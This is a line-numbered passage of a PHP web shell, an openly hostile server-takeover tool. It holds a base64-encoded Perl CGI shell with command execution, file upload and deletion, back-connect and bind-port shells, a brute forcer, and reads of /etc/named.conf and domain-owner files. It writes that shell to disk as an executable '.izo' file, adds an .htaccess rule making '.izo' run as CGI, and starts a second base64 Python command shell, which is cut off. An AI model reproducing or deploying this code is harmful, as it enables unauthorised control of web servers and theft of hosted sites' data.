mluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICRDdXJyZW50RGlyLiRQYXRoU2VwOwoJJHBhdGg9fiBzL1xcXFwvXFwvZzsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJGQuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZG9tYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycKCQkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtdyAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7CgkJCWlmKCZ0cmltKCRscykgZXEgIiIpCgkJCXsKCQkJCWlmKC1yICRscykKCQkJCXsKCQkJCQkkcGVybXM9Ik9LIjsKCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsKCQkJCX0KCQkJfWVsc2UKCQkJewoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJCX0KCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCEoJGNobW9kIGVxIDApKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOwoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoISRyZW5hbWUgZXEgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoKCXByaW50ICZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=';
 670     $file = fopen("cgi2012.izo", "w+");
 671     $write = fwrite($file, base64_decode($cgi2012));
 672     fclose($file);
 673     chmod("cgi2012.izo", 0755);
 674     echo " <iframe src=cgi2012/cgi2012.izo width=96% height=76% frameborder=0></iframe>
 675 
 676  </div>";
 677 } elseif (isset($_GET['x']) && ($_GET['x'] == 'python')) {
 678     echo "<center/><br/><b>
 679  +--==[ python  Bypass Exploit ]==--+
 680  </b><br><br>";
 681     mkdir('python', 0755);
 682     chdir('python');
 683     $kokdosya = ".htaccess";
 684     $dosya_adi = "$kokdosya";
 685     $dosya = fopen($dosya_adi, 'w') or die("Dosya a&#231;&#305;lamad&#305;!");
 686     $metin = "AddHandler cgi-script .izo";
 687     fwrite($dosya, $metin);
 688     fclose($dosya);
 689     $pythonp = 'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB
 690 IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD
 691 b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg
 692 cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv
 693 ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg
 694 Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg
 695 Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv
 696 YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g
 697 ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj
 698 IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5
 699 OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y
 700 dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz
 701 dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy
 702 b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
 703 IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs
 704 aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt
 705 c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw
 706 NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg
 707 PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F
 708 VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
 709 IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl
 710 cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi
 711 IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g
 712 aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs
 713 dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu
 714 Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g
 715 d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg
 716 aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg
 717 ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk
 718 XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt
 719 W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv
 720 cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg
 721 PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y
 722 IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg
 723 ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z
 724 aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+
 725 CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48
 726 ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl
 727 cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs
 728 ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg
 729 Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr
 730 IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1
 731 dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5
 732 ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n
 733 IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
